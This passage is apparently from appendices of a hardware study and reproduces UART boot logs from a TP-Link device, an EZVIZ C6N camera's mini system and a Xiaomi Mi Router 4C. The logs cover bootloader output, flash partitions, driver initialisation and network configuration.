0x0000003f0000-0x000000400000 : "art"
->Oops: flash id 0xef4016 .
Ooops, why the devices couldn't been initialed?
TCP cubic registered
NET: Registered protocol family 10
NET: Registered protocol family 17
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
athwdt_init: Registering WDT success
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.
Freeing unused kernel memory: 120k freed

init started: BusyBox v1.01 (2015.06.16-06:24+0000) multi-call binary
ipv6_add_addr 660: add address 0000:0000:0000:0000:0000:0000:0000:0001, prefix

128ñ→

This Board use 2.6.31
xt_time: kernel timezone is -0000
nf_conntrack version 0.5.0 (512 buckets, 5120 max)
ip_tables: (C) 2000-2006 Netfilter Core Team
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insmod: cannot open module `/lib/modules/2.6.31/kernel/iptable_raw.ko': No such
file or directoryñ→

insmod: cannot open module `/lib/modules/2.6.31/kernel/flashid.ko': No such file
or directoryñ→

PPPoL2TP kernel driver, V1.0
PPTP driver version 0.8.3
insmod: cannot open module `/lib/modules/2.6.31/kernel/harmony.ko': No such file

or directoryñ→

insmod: cannot open module `/lib/modules/2.6.31/kernel/af_key.ko': No such file
or directoryñ→

insmod: cannot open module `/lib/modules/2.6.31/kernel/xfrm_user.ko': No such
file or directoryñ→

Now flash open!
Now flash open!
qca955x_GMAC: Length per segment 1536
953x_GMAC: qca953x_gmac_attach
Link Int Enabled
qca953x_set_gmac_caps CHECK DMA STATUS
mac:1 Registering S27....
qca955x_GMAC: RX TASKLET - Pkts per Intr:18
qca955x_GMAC: Max segments per packet : 1
qca955x_GMAC: Max tx descriptor count : 511
qca955x_GMAC: Max rx descriptor count : 128
qca955x_GMAC: Mac capability flags : 2D81
953x_GMAC: qca953x_gmac_attach
Link Int Enabled
qca953x_set_gmac_caps CHECK DMA STATUS
mac:0 Registering S27....
qca955x_GMAC: RX TASKLET - Pkts per Intr:18

(none) mips #61qca955x_GMAC: Max segments per packet : 1
Tue Jun 16 14:1qca955x_GMAC: Max tx descriptor count : 511

7:33 CST 2015 (nqca955x_GMAC: Max rx descriptor count : 128
one)

(none) logqca955x_GMAC: Mac capability flags : 2581
in: athr_gmac_ring_alloc Allocated 8176 at 0x81ed2000
athr_gmac_ring_alloc Allocated 2048 at 0x81ec1800
HONEYBEE ----> S27 PHY MDIO
ATHRS27: resetting s27
ATHRS27: s27 reset done
++++ athrs27_igmp_setup once
port0 vid is 0xb000b
port1 vid is 0x30003
port2 vid is 0x50005
port3 vid is 0x70007
port4 vid is 0x90009
++ PVID: 0x0000000b, bitmap: 0x0000001f
++ PVID: 0x00000003, bitmap: 0x0000001f
++ PVID: 0x00000005, bitmap: 0x0000001f
++ PVID: 0x00000007, bitmap: 0x0000001f
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++ PVID: 0x00000009, bitmap: 0x0000001f
vtable vid: 0x00000002, bitmap 0x00000003
vtable vid: 0x00000004, bitmap 0x00000005
vtable vid: 0x00000006, bitmap 0x00000007
vtable vid: 0x00000008, bitmap 0x00000009
vtable vid: 0x0000000a, bitmap 0x0000000b
vtable vid: 0x0000000c, bitmap 0x0000000d
vtable vid: 0x0000000e, bitmap 0x0000000f
vtable vid: 0x00000010, bitmap 0x00000011
vtable vid: 0x00000012, bitmap 0x00000013
vtable vid: 0x00000014, bitmap 0x00000015
vtable vid: 0x00000016, bitmap 0x00000017
vtable vid: 0x00000018, bitmap 0x00000019
vtable vid: 0x0000001a, bitmap 0x0000001b
vtable vid: 0x0000001c, bitmap 0x0000001d
vtable vid: 0x0000001e, bitmap 0x0000001f
vtable vid: 0x00000020, bitmap 0x00000021
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
ADDRCONF(NETDEV_UP): eth0: link is not ready
athr_gmac_ring_alloc Allocated 8176 at 0x81cde000
athr_gmac_ring_alloc Allocated 2048 at 0x81eff000
HONEYBEE ----> S27 PHY MDIO
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
ADDRCONF(NETDEV_UP): eth1: link is not ready
device eth0 entered promiscuous mode
Now flash open!
athr_gmac_ring_free Freeing at 0x81cde000
athr_gmac_ring_free Freeing at 0x81eff000
athr_gmac_ring_alloc Allocated 8176 at 0x81cdc000
athr_gmac_ring_alloc Allocated 2048 at 0x81eff000
HONEYBEE ----> S27 PHY MDIO
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
ADDRCONF(NETDEV_UP): eth1: link is not ready
athr_gmac_ring_free Freeing at 0x81ed2000
athr_gmac_ring_free Freeing at 0x81ec1800
athr_gmac_ring_alloc Allocated 8176 at 0x81cde000
athr_gmac_ring_alloc Allocated 2048 at 0x81ec1800
HONEYBEE ----> S27 PHY MDIO
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
ADDRCONF(NETDEV_UP): eth0: link is not ready
ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix

64ñ→

nf_conntrack_rtsp v0.6.21 loading
nf_nat_rtsp v0.6.21 loading
adf: module license 'Proprietary' taints kernel.
Disabling lock debugging due to kernel taint
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ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, TX_DATA_SWAP,
RX_DATA_SWAP, 11D)ñ→

ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All
Rights Reservedñ→

ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights
Reservedñ→

ath_ahb: 10.2-00082-4 (Atheros/multi-bss)
__ath_attach: Set global_scn[0]
Enterprise mode: 0x03fc0000
Restoring Cal data from Flash
ath_get_caps[6166] rx chainmask mismatch actual 3 sc_chainmak 0
ath_get_caps[6141] tx chainmask mismatch actual 3 sc_chainmak 0
wifi0: Atheros ???: mem=0xb8100000, irq=2
ath_pci: 10.2-00082-4 (Atheros/multi-bss)
VAP device ath0 created
Setting Max Stations:33
ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1

Set freq vap stop send + 81fbc000
Set freq vap stop send -81fbc000
Set wait done --81fbc000
Set freq vap stop send + 81fbc000
Set freq vap stop send -81fbc000
Set wait done --81fbc000
ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix

64ñ→

ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix
64ñ→

athr_gmac_ring_free Freeing at 0x81cde000
athr_gmac_ring_free Freeing at 0x81ec1800
br0: port 1(eth0) entering disabled state
athr_gmac_ring_alloc Allocated 8176 at 0x81f20000
athr_gmac_ring_alloc Allocated 2048 at 0x81ec1800
HONEYBEE ----> S27 PHY MDIO
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
ADDRCONF(NETDEV_UP): eth0: link is not ready
ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix

64ñ→

device ath0 entered promiscuous mode
br0: port 2(ath0) entering forwarding state
ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1

br0: port 2(ath0) entering disabled state

DES SSID SET=etwork-526676d70b8d45d
ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix

64ñ→

br0: port 2(ath0) entering forwarding state
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====>>>>wlanBootupAll ok
br0: port 2(ath0) entering disabled state

DES SSID SET=TP-LINK_807C
ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix

64ñ→

br0: port 2(ath0) entering forwarding state
ieee80211_ioctl_siwmode: imr.ifm_active=1442432, new mode=3, valid=1

br0: port 2(ath0) entering disabled state
IPv6 over IPv4 tunneling driver

DES SSID SET=TP-LINK_807C
ipv6_add_addr 660: add address fe80:0000:0000:0000:8616:f9ff:fe2a:807c, prefix

64ñ→

br0: port 2(ath0) entering forwarding state
qca955x_GMAC: GE0 RX DMA ENABLE
blockWps_proc_write 1026: write value = 0
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Appendix B

Full EZVIZ minisys Bootlog

The following is the complete boot sequence captured via UART during the boot process of
mini sys (through bootmini command in U-Boot) in EZVIZ C6N.

HKVS # bootmini
load mini to 0xa0000000 ...

header_data.u32Magic is 0xa7b4c9f8
header_data.u32header_len is 0x10
header_data.u32RawDataLen is 0x5b000
Done load!
Thread Operating System3.1.3 build Jan 16 2023 - 14:11:27
SDK V2.1.2-g100a56b
svn version is 183211
[SFUD] Find a XMC XM25QH64C flash chip. Size is 8388608 bytes.
[SFUD] fh_flash flash device is initialize success.
[I/FAL] RT-Thread Flash Abstraction Layer(V0.4.0) initialize success.
fl_load_disp_text code_index: 4
get_code_part_info part_idx: 4
load_code part_idx: 4
efuse_clk warning: div failed 7
ez_srand_init: pts_seed=0x43fe87a0, srand_seed=0xf06712b8
##exe sd card mmcsd_detect:973 sd_hw_power off
##exe try detect SD card
[I/DFS] Device File System initialized!

lwIP-2.0.2 initialized!
[I/SAL_SKT] Socket Abstraction Layer initialize success.
get_init_mac_addr: 94:ec:13:d7:5b:49
jffs2 System dfs_mount ok!
jffs2 System first initialized!
msh />download_init
minisys wait for jffs fs...
minisys driver_init ok...
rt_device_find enter
rt_device_open enter
[wdt] set topval: 9, top_s: 30
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rt_device_control RT_DEVICE_CTRL_WDT_SET_TIMEOUT enter
[wdt] set topval: 4, top_s: 1
get_enc_params
set_enc_info
config_sec_init_key
parse_config_data
config_sec_check_file_status ret 1
CONFIG_SEC_FILE_VALID
config_sec_cal_and_write_file ret 0
fh_mmc_request,get response returns -2, cmd: 8
fh_mmc_request,get response returns -2, cmd: 5
##exe detect SD card start mmcsd_detect:1017
fh_mmc_request,get response returns -2, cmd: 55
fh_mmc_request,get response returns -2, cmd: 55
fh_mmc_request,get response returns -2, cmd: 55
fh_mmc_request,get response returns -2, cmd: 55
##exe detect mmc card start mmcsd_detect:1049
fh_mmc_request,get response returns -2, cmd: 1
fh_mmc_request,get response returns -2, cmd: 1
fh_mmc_request,get response returns -2, cmd: 1
===>go OFFLINE mmcsd_detect:1082
##exe mmcsd_detect:1169
set_stor_state state=0
port=0
atbm_wifi_hw_init
atbm_init_firmware
[Wifi] Enter atbm_usb_module_init
wifi version: 206664_231016
wifi chip type: atbm6032i
rtl8188_wifi_init_attach registered done..
rt_hw_usbotg_init start
fh_otg_driver_probe start
pmu_reg set usb_tune done:0x76203344
Setting default values for core params
Using Buffer DMA mode
Periodic Transfer Interrupt Enhancement - disabled
Multiprocesparse_config_data fail!
config_sec_check_file_status ret 1
CONFIG_SEC_FILE_VALID
config_sec_cal_and_write_file ret 0
port=0
sor Interrupt Enhancement - disabled
hcd_init start
hcd regs before base(e0700000)
Init: Power Port (0)
rt_hw_usbotg_init end
new high speed USB device number 3 using
[1]wifiIdVendor: bda, wifiIdProduct: f179
wifi version: 169604_231016
hik_wifi_preinit: enter
hik_set_country country_code:CN,use default channel plan set .
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##hik_set_country :: country_code:CN;rtw_channel_plan=2a
loadparam-884: [wifi]disable 2.4G 40MHz
++++++++TODO: _init_workitem not implemented!
++++++++TODO: _init_workitem not implemented!
#####[set_tx_power_rate-307]#####
#####[set_tx_power_limit-325]#####
TODO---rtw_rtnl_lock_needed

line:2022TODO---dev_alloc_name line 2254
thread RTW_CMD_THREAD enter...
parse_config_data fail!
config_sec_check_file_status ret 1
CONFIG_SEC_FILE_VALID
config_sec_cal_and_write_file ret 0
port=0
parse_config_data fail!
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Appendix C

Full Mi Router Bootlog

The following is the complete boot sequence captured via UART during power-on of the
Mi Router 4C.

DU Setting Cal Done

U-Boot 1.1.3 (Aug 14 2020 - 12:28:08)

Board: Ralink APSoC DRAM: 64 MB

Power on memory test. Memory size= 64 MB...OK!

relocate_code Pointer at: 83fb0000

RT2880_RSTSTAT_REG 0xc0030000

***************************

Board power on Occurred

***************************

flash manufacture id: c8, device id 40 18

find flash: GD25Q128C

env is right!

============================================

Ralink UBoot Version: 4.3.0.0

--------------------------------------------
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ASIC 7628_MP (Port5<->None)

DRAM component: 512 Mbits DDR, width 16

DRAM bus: 16 bit

Total memory: 64 MBytes

Flash component: SPI Flash

Date:Aug 14 2020 Time:12:28:08

============================================

icache: sets:512, ways:4, linesz:32 ,total:65536

dcache: sets:256, ways:4, linesz:32 ,total:32768

##### The CPU freq = 575 MHZ ####

estimate memory size =64 Mbytes

RESET MT7628 PHY!!!!!!

Please choose the operation:

1: Load system code to SDRAM via TFTP.

2: Load system code then write to Flash via TFTP.

3: Boot system code via Flash (default).

4: Entr boot command line interface.

9: Load Boot Loader code then write to Flash via TFTP.

n3: System Boot system code via Flash.

Booting System 1

Erasing SPI Flash...

raspi_erase: offs:20000 len:10000

.

Writing to SPI Flash...
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.

done

## Booting image at bc160000 ...

Image Name: MIPS OpenWrt Linux-3.10.14

Image Type: MIPS Linux Kernel Image (lzma compressed)

Data Size: 1436818 Bytes = 1.4 MB

Load Address: 80000000

Entry Point: 80000000

Verifying Checksum ... OK

Uncompressing Kernel Image ... OK

Erasing SPI Flash...

raspi_erase: offs:20000 len:10000

.

Writing to SPI Flash...

.

done

commandline uart_en=0 factory_mode=0 mem=64m root=/dev/mtdblock8

No initrd

## Transferring control to Linux (at address 80000000) ...

## Giving linux memsize in MB, 64

Starting kernel ...

LINUX started...

THIS IS ASIC
[ 0.000000] Linux version 3.10.14 (jenkins@3561a36564a2) (gcc version 4.6.3

20120201 (prerelease) (Linaro GCC 4.6-2012.02) ) #1 MiWiFi-R4CM-3.0.23 Fri
Aug 14 12:35:14 UTC 2020

ñ→

ñ→
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[ 0.000000]
[ 0.000000] The CPU feqenuce set to 575 MHz
[ 0.000000]
[ 0.000000] MIPS CPU sleep mode enabled.
[ 0.000000] CPU0 revision is: 00019655 (MIPS 24KEc)
[ 0.000000] Software DMA cache coherency
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 04000000 @ 00000000 (usable)
[ 0.000000] User-defined physical RAM map:
[ 0.000000] memory: 04000000 @ 00000000 (usable)
[ 0.000000] Zone ranges:
[ 0.000000] Normal [mem 0x00000000-0x03ffffff]
[ 0.000000] Movable zone start for each node
[ 0.000000] Early memory node ranges
[ 0.000000] node 0: [mem 0x00000000-0x03ffffff]
[ 0.000000] Primary instruction cache 64kB, 4-way, VIPT, linesize 32 bytes.
[ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32

bytesñ→

[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total
pages: 16256ñ→

[ 0.000000] Kernel command line: console=ttyS1,115200n8 uart_en=0
factory_mode=0 mem=64m root=/dev/mtdblock8ñ→

[ 0.000000] PID hash table entries: 256 (order: -2, 1024 bytes)
[ 0.000000] Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
[ 0.000000] Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
[ 0.000000] Writing ErrCtl register=000213a7
[ 0.000000] Readback ErrCtl register=000213a7
[ 0.000000] allocated 131072 bytes of page_cgroup
[ 0.000000] please try 'cgroup_disable=memory' option if you don't want

memory cgroupsñ→

[ 0.000000] Memory: 60492k/65536k available (2979k kernel code, 5044k
reserved, 907k data, 208k init, 0k highmem)ñ→

[ 0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[ 0.000000] NR_IRQS:128
[ 0.000000] console [ttyS1] enabled
[ 0.120000] Calibrating delay loop... 380.92 BogoMIPS (lpj=1904640)
[ 0.180000] pid_max: default: 32768 minimum: 301
[ 0.180000] Mount-cache hash table entries: 512
[ 0.190000] Initializing cgroup subsys memory
[ 0.190000] Initializing cgroup subsys net_cls
[ 0.200000] NET: Registered protocol family 16
[ 0.200000] RALINK_GPIOMODE = 54054404
[ 0.210000] RALINK_GPIOMODE = 54044404
[ 0.310000] ***** Xtal 25MHz *****
[ 0.310000] start PCIe register access
[ 0.810000] RALINK_RSTCTRL = 2400000
[ 0.820000] RALINK_CLKCFG1 = fdbfffc0
[ 0.820000]
[ 0.820000] *************** MT7628 PCIe RC mode *************
[ 1.320000] PCIE0 no card, disable it(RST&CLK)
[ 1.350000] bio: create slab <bio-0> at 0
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[ 1.350000] cfg80211: Calling CRDA to update world regulatory domain
[ 1.360000] Switching to clocksource Ralink Systick timer
[ 1.360000] NET: Registered protocol family 2
[ 1.370000] TCP established hash table entries: 512 (order: 0, 4096 bytes)
[ 1.370000] TCP bind hash table entries: 512 (order: -1, 2048 bytes)
[ 1.380000] TCP: Hash tables configured (established 512 bind 512)
[ 1.380000] TCP: reno registered
[ 1.390000] UDP hash table entries: 256 (order: 0, 4096 bytes)
[ 1.390000] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[ 1.400000] NET: Registered protocol family 1
[ 1.400000] Load Kernel WDG Timer Module
[ 1.420000] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[ 1.430000] jffs2: version 2.2. (ZLIB) (CMODE_PRIORITY) (c) 2001-2006 Red

Hat, Inc.ñ→

[ 1.440000] msgmni has been set to 118
[ 1.440000] io scheduler noop registered
[ 1.440000] io scheduler deadline registered (default)
[ 1.450000] MIWIFI panic notifier registered
[ 1.460000] Serial: 8250/16550 driver, 2 ports, IRQ sharing disabled
[ 1.470000] serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A
[ 1.470000] serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A
[ 1.480000] led=44, on=4000, off=1, blinks,=1, reset=1, time=4000
[ 1.490000] Ralink gpio driver initialized
[ 1.490000] flash manufacture id: c8, device id 40 18
[ 1.500000] GD25Q128C(c8 40180000) (16384 Kbytes)
[ 1.500000] mtd .name = raspi, .size = 0x01000000 (16M) .erasesize =

0x00010000 (64K) .numeraseregions = 0ñ→

[ 1.510000] Creating 9 MTD partitions on "raspi":
[ 1.520000] 0x000000000000-0x000001000000 : "ALL"
[ 1.520000] 0x000000000000-0x000000020000 : "Bootloader"
[ 1.530000] 0x000000020000-0x000000030000 : "Config"
[ 1.540000] 0x000000030000-0x000000040000 : "Factory"
[ 1.540000] 0x000000040000-0x000000050000 : "crash"
[ 1.550000] 0x000000050000-0x000000060000 : "cfg_bak"
[ 1.560000] 0x000000060000-0x000000160000 : "overlay"
[ 1.560000] 0x000000160000-0x000000dc0000 : "OS1"
[ 1.570000] mtd: try split OS1 partition
[ 1.570000] mtd: split_firmware
[ 1.580000] mtd: firmware_partition->size 0xc60000
[ 1.580000] mtd: firmware_partition->offset 0x160000
[ 1.590000] mtd: uimage_len 1436882
[ 1.590000] mtd: uimage_len 1441792
[ 1.590000] mtd: rootfs_partition->size 0xb00000
[ 1.600000] mtd: rootfs_partition->offset 0x2c0000
[ 1.600000] mtd: partition "rootfs" created automatically, ofs=2C0000,

len=B00000ñ→

[ 1.610000] 0x0000002c0000-0x000000dc0000 : "rootfs"
[ 1.620000] 0x000000dc0000-0x000000fc0000 : "disk"
[ 1.620000] PPP generic driver version 2.4.2
[ 1.630000] PPP MPPE Compression module registered
[ 1.630000] NET: Registered protocol family 24
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[ 1.640000] PPTP driver version 0.8.5
[ 1.640000] rdm_major = 253
[ 1.650000] GMAC1_MAC_ADRH -- : 0x00006464
[ 1.650000] GMAC1_MAC_ADRL -- : 0x4a3ef980
[ 1.650000] Ralink APSoC Ethernet Driver Initilization. v3.1 256 rx/tx

descriptors allocated, mtu = 1500!ñ→

[ 1.660000] GMAC1_MAC_ADRH -- : 0x00006464
[ 1.670000] GMAC1_MAC_ADRL -- : 0x4a3ef980
[ 1.670000] PROC INIT OK!
[ 1.680000] Mirror/redirect action on
[ 1.680000] u32 classifier
[ 1.680000] input device check on
[ 1.690000] Actions configured
[ 1.690000] Netfilter messages via NETLINK v0.30.
[ 1.700000] nfnl_acct: registering with nfnetlink.
[ 1.700000] nf_conntrack version 0.5.0 (945 buckets, 3780 max)
[ 1.710000] ipip: IPv4 over IPv4 tunneling driver
[ 1.710000] gre: GRE over IPv4 demultiplexor driver
[ 1.720000] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 1.720000] Type=Restricted Cone
[ 1.730000] TCP: cubic registered
[ 1.730000] NET: Registered protocol family 10
[ 1.740000] NET: Registered protocol family 17
[ 1.740000] l2tp_core: L2TP core driver, V2.0
[ 1.750000] l2tp_ppp: PPPoL2TP kernel driver, V2.0
[ 1.750000] l2tp_netlink: L2TP netlink interface
[ 1.760000] 8021q: 802.1Q VLAN Support v1.8
[ 1.770000] Failed to lock mtd Bdata
[ 1.780000] Failed to lock mtd reserved0
[ 1.790000] VFS: Mounted root (squashfs filesystem) readonly on device 31:8.
[ 1.800000] Freeing unused kernel memory: 208K (803cc000 - 80400000)
config core 'version'

# ROM ver
option ROM '3.0.23'
# channel
option CHANNEL 'release'
# hardware platform R1AC or R1N etc.
option HARDWARE 'R4CM'
# CFE ver
option UBOOT '1.0.0'
# Linux Kernel ver
option LINUX '0.0.1'
# RAMFS ver
option RAMFS '0.0.1'
# SQUASHFS ver
option SQAFS '0.0.1'
# ROOTFS ver
option ROOTFS '0.0.1'
#build time
option BUILDTIME 'Fri, 14 Aug 2020 12:27:40 +0000'
#build timestamp
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option BUILDTS '1597408060'
#build git tag
option GTAG 'commit 5737b436bd890ed4493c02346d83deab615e9719'

[ 3.780000] Raeth v3.1 (Tasklet,SkbRecycle)
[ 3.780000]
[ 3.780000] phy_tx_ring = 0x03f93000, tx_ring = 0xa3f93000
[ 3.790000]
[ 3.790000] phy_rx_ring0 = 0x03f6e000, rx_ring0 = 0xa3f6e000
[ 3.810000] config 7628 esw as LWLL
[ 3.890000] GMAC1_MAC_ADRH -- : 0x00006464
[ 3.890000] GMAC1_MAC_ADRL -- : 0x4a3ef980
[ 3.900000] RT305x_ESW: Link Status Changed
- preinit -
Fri Aug 14 12:35:14 UTC 2020
- regular preinit -
/lib/preinit.sh: line 1: pi_indicate_led: not found
jffs2 not ready yet; using ramdisk
- init -
[ 5.640000] ra2880stop()...Done
[ 5.650000] Free TX/RX Ring Memory!

init started: BusyBox v1.19.4 (2020-08-14 12:26:28 UTC)

Please press Enter to activate this console. rcS S boot: INFO: rc script run
time limit to 65 seconds.ñ→

[ 7.480000] ip_gre: GRE over IPv4 tunneling driver
[ 7.580000] xt_time: kernel timezone is +0800
[ 7.640000] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 7.950000] nf_nat_amanda: Unknown symbol nf_nat_amanda_hook (err 0)
[ 8.030000] ipt: xt_cgroup_MARK installed ok.
[ 8.150000] ip_set: protocol 6
[ 8.250000] ipaccount: ifname [lo] event[5]
[ 8.260000] ipaccount: ifname [ifb0] event[5]
[ 8.260000] ipaccount: ifname [eth0] event[5]
[ 8.270000] ipaccount: ifname [tunl0] event[5]
[ 8.270000] ipaccount: ifname [gre0] event[5]
[ 8.280000] ipaccount: ifname [gretap0] event[5]
[ 8.360000] dev_redirect load success.
[ 9.490000]
[ 9.490000]
[ 9.490000] === pAd = c06b7000, size = 1759160 ===
[ 9.490000]
[ 9.500000] <-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x
[ 9.500000] <-- RTMPAllocAdapterBlock, Status=0
[ 9.510000] RtmpChipOpsHook(492): Not support for HIF_MT yet!
[ 9.520000] mt7628_init()-->
[ 9.520000] mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))
[ 9.520000] e2.bin mt7628_init(1120)::(2), pChipCap->fw_len(63984)
[ 9.530000] mt_bcn_buf_init(218): Not support for HIF_MT yet!
[ 9.540000] <--mt7628_init()
[ 9.540000] ipaccount: ifname [wl1] event[16]
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[ 9.540000] ipaccount: ifname [wl1] event[5]
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: INFO: loading exist

/etc/config/network.ñ→

Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: config interface 'loopback'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ifname 'lo'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option proto 'static'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ipaddr '127.0.0.1'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option netmask '255.0.0.0'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: config interface 'lan'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ifname 'eth0.1'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option type 'bridge'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option proto 'static'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ipaddr '192.168.31.1'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option netmask '255.255.255.0'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ip6assign '64'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: list ip6class 'ifb'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: config interface 'wan'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ifname 'eth0.2'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option proto 'dhcp'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: config interface 'ifb'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ifname 'ifb0'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: config interface 'ready'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option proto 'static'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option ipaddr '169.254.29.1'
Fri Aug 14 14:35:20 CEST 2020 netconfig[716]: option netmask '255.255.255.0'
[ 13.850000] ipaccount: ifname [br-lan] event[16]
[ 13.860000] ipaccount: ifname [br-lan] event[5]
[ 13.880000] ipaccount: ifname [eth0] event[13]
[ 13.880000] Raeth v3.1 (Tasklet,SkbRecycle)
[ 13.880000]
[ 13.880000] phy_tx_ring = 0x035a6000, tx_ring = 0xa35a6000
[ 13.890000]
[ 13.890000] phy_rx_ring0 = 0x028af000, rx_ring0 = 0xa28af000
[ 13.910000] config 7628 esw as LWLL
[ 13.990000] GMAC1_MAC_ADRH -- : 0x00006464
[ 13.990000] GMAC1_MAC_ADRL -- : 0x4a3ef980
[ 14.000000] RT305x_ESW: Link Status Changed
[ 14.000000] ipaccount: ifname [eth0] event[1]
[ 14.020000] ipaccount: ifname [eth0.1] event[16]
[ 14.020000] ipaccount: ifname [eth0.1] event[5]
[ 14.030000] ipaccount: ifname [eth0.1] event[13]
[ 14.030000] ipaccount: ifname [eth0.1] event[1]
[ 14.050000] ipaccount: ifname [eth0.1] event[20]
[ 14.050000] device eth0.1 entered promiscuous mode
[ 14.060000] device eth0 entered promiscuous mode
[ 14.060000] ipaccount: ifname [br-lan] event[11]
[ 14.070000] ipaccount: ifname [br-lan] event[8]
[ 14.080000] ipaccount: ifname [br-lan] event[8]
[ 14.080000] ipaccount: ifname [br-lan] event[13]
[ 14.080000] br-lan: port 1(eth0.1) entered forwarding state
[ 14.090000] br-lan: port 1(eth0.1) entered forwarding state
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[ 14.100000] ipaccount: ifname [br-lan] event[1]
[ 14.110000] ipaccount: ifname [ifb0] event[13]
[ 14.120000] ipaccount: ifname [ifb0] event[1]
[ 14.140000] ipaccount: ifname [lo] event[13]
[ 14.140000] ipaccount: ifname [lo] event[1]
[ 14.150000] ipaccount: ifname [eth0.2] event[16]
[ 14.150000] ipaccount: ifname [eth0.2] event[5]
[ 14.180000] ipaccount: ifname [eth0.2] event[13]
[ 14.180000] ipaccount: ifname [eth0.2] event[1]
[ 15.020000] ipaccount: ifname [eth0.1] event[4]
[ 15.030000] ipaccount: ifname [br-lan] event[4]
[ 15.030000] ipaccount: ifname [eth0.2] event[4]
[ 16.090000] br-lan: port 1(eth0.1) entered forwarding state
[ 16.640000] ipaccount: ifname [wl1] event[13]
[ 16.640000] TX_BCN DESC a3565000 size = 320
[ 16.640000] RX[0] DESC a3567000 size = 2048
[ 16.650000] RX[1] DESC a356a000 size = 1024
[ 16.680000] E2pAccessMode=2
[ 16.690000] cfg_mode=9
[ 16.690000] cfg_mode=9
[ 16.690000] wmode_band_equal(): Band Equal!
[ 16.780000] load fw image from fw_header_image
[ 16.780000] AndesMTLoadFwMethod1(2181)::pChipCap->fw_len(63984)
[ 16.790000] CmdAddressLenReq:(ret = 0)
[ 16.790000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.800000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.800000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.810000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.810000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.820000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.820000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.830000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.830000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.840000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.840000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.850000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.850000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.860000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.860000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.870000] AndesInitCmdMsg:cmd_type:238,ExtCmdType:0
[ 16.870000] CmdFwStartReq: override = 1, address = 1048576
[ 16.880000] CmdStartDLRsp: WiFI FW Download Success
[ 16.880000] MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)
[ 16.890000] efuse_probe: efuse = 10000002
[ 16.890000] RtmpChipOpsEepromHook::e2p_type=2, inf_Type=4
[ 16.900000] RtmpEepromGetDefault::e2p_dafault=2
